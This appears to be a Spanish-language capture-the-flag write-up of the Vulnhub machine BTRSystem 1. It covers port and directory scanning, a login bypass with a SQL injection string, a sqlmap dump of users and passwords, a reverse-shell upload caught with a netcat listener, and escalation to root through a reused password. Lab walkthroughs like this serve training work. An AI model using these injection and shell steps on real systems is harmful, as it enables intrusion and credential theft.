sábado, 11 de diciembre de 2021

CTF BTRSystem 1 VM


 

 Esta máquina tiene una particularidad interesante que más adelante se notara, sin más preámbulos comienzo con escanear los puertos.

 $ sudo nmap -sV -Pn -A -O -oN btrs_1 192.168.2.9
Starting Nmap
Nmap scan report for 192.168.2.9
Host is up (0.0010s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.2.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d618d9ef75d31c29be14b52b1854a9c0 (DSA)
|   2048 ee8c64874439538c24fe9d39a9adeadb (RSA)
|   256 0e66e650cf563b9c678b5f56caae6bf4 (ECDSA)
|_  256 b28be2465ceffddc72f7107e045f2585 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BTRisk
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


De acuerdo al escaneo, verificaré el servicio FTP con usuario anónimo.
$ ftp -p 192.168.2.9
Connected to 192.168.2.9.
220 (vsFTPd 3.0.2)
Name (---): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||54122|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> bye
221 Goodbye.
 
Al parecer el servicio no se encuentra archivos disponibles. El siguiente servicio es el web, que resulta que está en idioma turco, que es una sorpresa.

 
Con un traductor y un poco de paciencia, ahí dice página principal, revisando el código fuente, no se encontró algo. 


En esta sección se llama sobre nosotros, donde hay un artículo sobre algunas generalidades bastante interesantes (recomiendo, traducirlo y leerlo), aparte de eso no hay pistas. Asi que sigue el escaneo de rutas.
$ gobuster dir -u http://192.168.2.9/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.9/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.9/uploads              (Status: 301) [Size: 311] [--> http://192.168.2.9/uploads/]
http://192.168.2.9/assets               (Status: 301) [Size: 310] [--> http://192.168.2.9/assets/]
http://192.168.2.9/javascript           (Status: 301) [Size: 314] [--> http://192.168.2.9/javascript/]
http://192.168.2.9/server-status        (Status: 403) [Size: 291]
Progress: 220425 / 220586 (99.93%)
===============================================================

Al visitar /uploads, esa ruta solo se encontró un lugar vacío donde aparentemente. Asi que repito la operación, pero añadiendo la bandera que busca también por las extensiones que determine.

$ gobuster dir -u http://192.168.2.9/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php,sh,txt,cgi,html,js,css,py
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.9/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              cgi,html,js,css,py,php,sh,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/index.php            (Status: 200) [Size: 758]
http://192.168.2.9/login.php            (Status: 200) [Size: 4561]
http://192.168.2.9/uploads              (Status: 301) [Size: 311] [--> http://192.168.2.9/uploads/]
http://192.168.2.9/assets               (Status: 301) [Size: 310] [--> http://192.168.2.9/assets/]
http://192.168.2.9/javascript           (Status: 301) [Size: 314] [--> http://192.168.2.9/javascript/]
http://192.168.2.9/config.php           (Status: 200) [Size: 2]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/server-status        (Status: 403) [Size: 291]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
===============================================================

Revisando el login, se encuentra este formulario de Iniciar sesión, donde solicita el Nombre de usuario y la Contraseña.

 

Dentro del formular se encontró un método que hacía la verificación haciendo un par de verificaciones, nada que no es pudiera lograr con burp suit. Utilizando como usuario btrisk.com y como contraseña una delicada infección "a'or1=1;--", redirigiendo a este apartado donde dice Persona Información personal(o algo similar).


Uilizando otra herramienta llamada slq map, para averiguar mas sobre la informacion de este sitio.
$ sqlmap --wizard
Please enter full target URL (-u): http://192.168.2.9/personel.php
POST data (--data) [Enter for None]: kullanici_adi=btrisk.com&parola=btrisk.com
Injection difficulty (--level/--risk). Please choose:3
Enumeration (--banner/--current-user/etc). Please choose:3
...
database management system users [6]:
[*] 'debian-sys-maint'@'localhost'
[*] 'phpmyadmin'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'root'@'troll'
...
+----+-------+------------+-----------+------------+----------------+-----------------+----------------+
| ID | Parola | AnneAdi | BabaAdi | Ad_Soyad| AnneMeslegi | BabaMeslegi | KardesSayisi | Kullanici_Adi    |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+
| 1  | asd123*** | nazli   | ahmet   | ismail kaya | lokantaci   | muhasebe    | 5            | ikaya@btrisk.com |
| 2  | asd123*** | gulsah  | mahmut  | can demir   | tuhafiyeci  | memur       | 8            | cdmir@btrisk.com |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+


Lo mas reveledor es esta tabla llamada ensayo y los campos:

| ID | Contraseña | Nombre_de_la_madre | Nombre_del_padre | Primer_Apellido | Ocupación_de_la_madre | Ocupación_del_padre , Número_del_hermano , Nombre_del_usuario |

 

Conociendo esto se inicio sesion nuevamente con  ikaya@btrisk.com:asd123***

 

Al inspeccionar la página encuentro este comentario sobre las extensiones que permite pasar. Asi que la idea es tomar una reverse shell y en el buen burpsuit cambiarle la extensión por .php. Lo siguiente es pasarle la IP y el puerto que estará escuchando y lanzarlo.
$ nc -lvnp 4567

A continuación, al ir a l aruta /uploads y abrir el archivo, le regresa una conexión al servidor.

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python -V
Python 2.7.6
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@BTRsys1:/$

Buscando en varios directorios no encuentre nada, intente hacer su a root 

www-data@BTRsys1:/$ su -l
su -l
Password: asd123***

root@BTRsys1:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@BTRsys1:~#



Muchas gracias a @ismailonderkaya que nos brindó esta VM. Hasta la próxima.

Vulnhub: BTRSystem v1